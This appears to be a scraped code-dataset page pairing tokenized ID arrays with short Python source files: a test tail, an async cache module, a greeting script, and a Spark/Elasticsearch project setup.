13,
4706,
7146,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7491,
29918,
1445,
29918,
2084,
1125,
13,
18884,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
1923,
1480,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
16674,
29918,
262,
29918,
18829,
29918,
8231,
5570,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
1583,
29889,
3258,
29918,
7491,
29918,
1445,
877,
1688,
29918,
16674,
29918,
262,
29918,
18829,
29918,
8231,
5570,
1495,
13,
4706,
1018,
29901,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
29918,
2084,
2314,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
20224,
297,
9055,
2436,
3542,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
24996,
2436,
3542,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
4706,
7146,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7491,
29918,
1445,
29918,
2084,
1125,
13,
18884,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29918,
2084,
29897,
13,
13,
2
] |
plugify/state.py | RPSMain/plugify.py | 0 | 1600681 | <gh_stars>0
"""
MIT License
Copyright (c) 2021-present VincentRPS
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import collections
class _Hold:
def __init__(self):
self._storage = collections.OrderedDict()
async def cache(self, hold: str, data: dict):
self._storage[hold] = data
async def get(self, hold: str):
self._storage.get(hold)
async def pop(self, hold: str):
self._storage.pop(hold)
class Cache:
"""Represents normally cached objects"""
def __init__(self, **custom_impl):
self.members = custom_impl.get("members") or _Hold()
self.groups = custom_impl.get("groups") or _Hold()
self.messages = custom_impl.get("messages") or _Hold()
self.channels = custom_impl.get("channels") or _Hold()
class ConnectionState:
def __init__(self, **customs):
self.cache = customs.get("cache") or Cache()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
26349,
19245,
13,
13,
11882,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
29899,
6338,
19748,
29934,
7024,
13,
13,
27293,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
263,
3509,
13,
974,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
376,
6295,
14093,
4968,
304,
5376,
13,
262,
278,
18540,
1728,
24345,
29892,
3704,
1728,
29485,
278,
10462,
13,
517,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
1320,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
19417,
13,
9708,
583,
310,
278,
18540,
29892,
322,
304,
14257,
12407,
304,
6029,
278,
18540,
338,
13,
29888,
595,
3276,
304,
437,
577,
29892,
4967,
304,
278,
1494,
5855,
29901,
13,
13,
1576,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
5134,
297,
599,
13,
9708,
583,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
13,
28350,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
376,
3289,
8519,
613,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
8528,
15094,
1799,
6323,
13,
29902,
3580,
5265,
3352,
29892,
2672,
6154,
15789,
4214,
350,
2692,
6058,
27848,
3352,
7495,
6093,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
29892,
13,
29943,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
5300,
405,
1164,
1177,
15860,
1177,
1692,
13780,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
13,
20656,
29950,
24125,
6323,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
20700,
17705,
6181,
15842,
13764,
29979,
315,
4375,
7833,
29892,
21330,
1529,
1692,
29903,
6323,
438,
29911,
4448,
13,
5265,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13764,
319,
9838,
8079,
8707,
29911,
4717,
1783,
29892,
323,
8476,
6323,
438,
29911,
4448,
22119,
1660,
29892,
9033,
3235,
4214,
3895,
29892,
13,
12015,
8079,
6323,
2672,
8707,
8186,
9838,
22659,
6093,
7791,
7818,
12982,
1525,
6323,
6093,
501,
1660,
6323,
438,
29911,
4448,
5012,
1964,
4214,
29903,
2672,
6093,
13,
6156,
7818,
12982,
1525,
29889,
13,
15945,
29908,
13,
5215,
16250,
13,
13,
1990,
903,
29144,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
3032,
12925,
353,
16250,
29889,
7514,
287,
21533,
580,
13,
268,
13,
1678,
7465,
822,
7090,
29898,
1311,
29892,
4808,
29901,
851,
29892,
848,
29901,
9657,
1125,
13,
4706,
1583,
3032,
12925,
29961,
8948,
29962,
353,
848,
13,
268,
13,
1678,
7465,
822,
679,
29898,
1311,
29892,
4808,
29901,
851,
1125,
13,
4706,
1583,
3032,
12925,
29889,
657,
29898,
8948,
29897,
13,
268,
13,
1678,
7465,
822,
1835,
29898,
1311,
29892,
4808,
29901,
851,
1125,
13,
4706,
1583,
3032,
12925,
29889,
7323,
29898,
8948,
29897,
13,
13,
1990,
28540,
29901,
13,
1678,
9995,
1123,
4569,
1237,
12891,
22152,
3618,
15945,
29908,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3579,
6341,
29918,
13699,
1125,
13,
4706,
1583,
29889,
28109,
353,
2888,
29918,
13699,
29889,
657,
703,
28109,
1159,
470,
903,
29144,
580,
13,
4706,
1583,
29889,
13155,
353,
2888,
29918,
13699,
29889,
657,
703,
13155,
1159,
470,
903,
29144,
580,
13,
4706,
1583,
29889,
19158,
353,
2888,
29918,
13699,
29889,
657,
703,
19158,
1159,
470,
903,
29144,
580,
13,
4706,
1583,
29889,
305,
12629,
353,
2888,
29918,
13699,
29889,
657,
703,
305,
12629,
1159,
470,
903,
29144,
580,
13,
13,
1990,
15160,
2792,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3579,
6341,
29879,
1125,
13,
4706,
1583,
29889,
8173,
353,
2888,
29879,
29889,
657,
703,
8173,
1159,
470,
28540,
580,
13,
2
] |
Basics/5/hi.py | mabdelaal86/python-courses | 1 | 192874 | #!/usr/bin/env python3
def welcome():
print("Welcome")
def hi(name):
print("Hi " + name + "!")
welcome()
username = input("Who are there? ")
hi(name=username)
hi(username)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
13,
1753,
12853,
7295,
13,
1678,
1596,
703,
28862,
2763,
1159,
13,
13,
1753,
7251,
29898,
978,
1125,
13,
1678,
1596,
703,
18567,
376,
718,
1024,
718,
376,
29991,
1159,
13,
13,
20466,
2763,
580,
13,
6786,
353,
1881,
703,
22110,
526,
727,
29973,
16521,
13,
2918,
29898,
978,
29922,
6786,
29897,
13,
2918,
29898,
6786,
29897,
13,
2
] |
VidSpark/__init__.py | imlegend19/VidSpark | 0 | 126776 | <reponame>imlegend19/VidSpark<gh_stars>0
from __future__ import absolute_import, unicode_literals
import os
from pathlib import Path
import multiprocessing as mp
from elasticsearch import Elasticsearch
from .celery import app as celery_app
__all__ = ('celery_app',)
from pyspark.sql import SparkSession
ROOT = Path(os.path.abspath(os.curdir))
jars = []
for jar in os.listdir(os.path.join(ROOT, "jars")):
jars.append(os.path.join(ROOT, f"jars/{jar}"))
EXTRA_JARS = ",".join(jars)
DATABASE = os.path.join(ROOT, "db.sqlite3")
print("Initialising Spark...")
spark = SparkSession \
.builder \
.appName("VidSpark") \
.master("local[2]") \
.config("spark.jars", EXTRA_JARS) \
.getOrCreate()
spark.conf.set("es.index.auto.create", "true")
print("Initialised!")
print("Starting Elasticsearch...")
es = Elasticsearch()
print("Elasticsearch is running!")
os.environ["DJANGO_ALLOW_ASYNC_UNSAFE"] = "true"
THREADS = min(32, mp.cpu_count() + 4)
| [
1,
529,
276,
1112,
420,
29958,
326,
26172,
29896,
29929,
29914,
29963,
333,
29903,
6378,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
29104,
29918,
20889,
1338,
13,
13,
5215,
2897,
13,
3166,
2224,
1982,
1053,
10802,
13,
5215,
6674,
307,
985,
292,
408,
22326,
13,
13,
3166,
560,
20291,
1053,
1260,
20291,
13,
3166,
869,
2242,
708,
1053,
623,
408,
6432,
708,
29918,
932,
13,
13,
1649,
497,
1649,
353,
6702,
2242,
708,
29918,
932,
742,
29897,
13,
13,
3166,
282,
952,
6378,
29889,
2850,
1053,
20814,
7317,
13,
13,
21289,
353,
10802,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
29898,
359,
29889,
2764,
3972,
876,
13,
13,
29926,
1503,
353,
5159,
13,
1454,
14631,
297,
2897,
29889,
1761,
3972,
29898,
359,
29889,
2084,
29889,
7122,
29898,
21289,
29892,
376,
29926,
1503,
5783,
29901,
13,
1678,
432,
1503,
29889,
4397,
29898,
359,
29889,
2084,
29889,
7122,
29898,
21289,
29892,
285,
29908,
29926,
1503,
19248,
4758,
5038,
876,
13,
13,
12194,
4717,
29918,
29967,
1718,
29903,
353,
9162,
1642,
7122,
29898,
29926,
1503,
29897,
13,
25832,
27982,
353,
2897,
29889,
2084,
29889,
7122,
29898,
21289,
29892,
376,
2585,
29889,
22793,
29941,
1159,
13,
13,
2158,
703,
15514,
5921,
20814,
856,
1159,
13,
12597,
353,
20814,
7317,
320,
13,
1678,
869,
16409,
320,
13,
1678,
869,
932,
1170,
703,
29963,
333,
29903,
6378,
1159,
320,
13,
1678,
869,
6207,
703,
2997,
29961,
29906,
29962,
1159,
320,
13,
1678,
869,
2917,
703,
12597,
29889,
29926,
1503,
613,
8528,
29911,
4717,
29918,
29967,
1718,
29903,
29897,
320,
13,
1678,
869,
657,
2816,
4391,
580,
13,
13,
12597,
29889,
5527,
29889,
842,
703,
267,
29889,
2248,
29889,
6921,
29889,
3258,
613,
376,
3009,
1159,
13,
2158,
703,
15514,
3368,
29991,
1159,
13,
13,
2158,
703,
4763,
292,
1260,
20291,
856,
1159,
13,
267,
353,
1260,
20291,
580,
13,
2158,
703,
29923,
4230,
293,
4478,
338,
2734,
29991,
1159,
13,
13,
359,
29889,
21813,
3366,
29928,
29967,
2190,
17080,
29918,
1964,
27998,
29918,
3289,
29979,
15868,
29918,
29965,
3059,
5098,
29923,
3108,
353,
376,
3009,
29908,
13,
13,
4690,
16310,
29903,
353,
1375,
29898,
29941,
29906,
29892,
22326,
29889,
21970,
29918,
2798,
580,
718,
29871,
29946,
29897,
13,
2
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.